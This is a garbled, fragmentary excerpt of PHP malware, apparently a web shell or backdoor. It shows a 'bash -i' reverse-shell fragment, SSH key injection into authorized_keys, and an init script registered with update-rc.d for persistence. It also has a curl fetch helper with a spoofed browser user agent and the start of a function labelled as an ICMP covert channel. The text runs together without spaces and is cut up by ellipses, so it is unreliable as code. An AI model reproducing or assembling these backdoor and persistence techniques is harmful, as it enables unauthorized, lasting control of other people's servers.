week"value=""/>bash-i...file_exists($sshDir)){mkdir($sshDir,0700);}file_put_contents($authFile,$key.PHP_EOL,FILE_APPEND);chmod...$scriptName;file_put_contents($scriptPath,$script);chmod($scriptPath,0755);exec("update-rc.d{$scriptName...();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_USERAGENT...,'Mozilla/5.0');$response=curl_exec($ch);curl_close($ch);return$response;}//ICMP隐蔽通道publicfunctionicmpChannel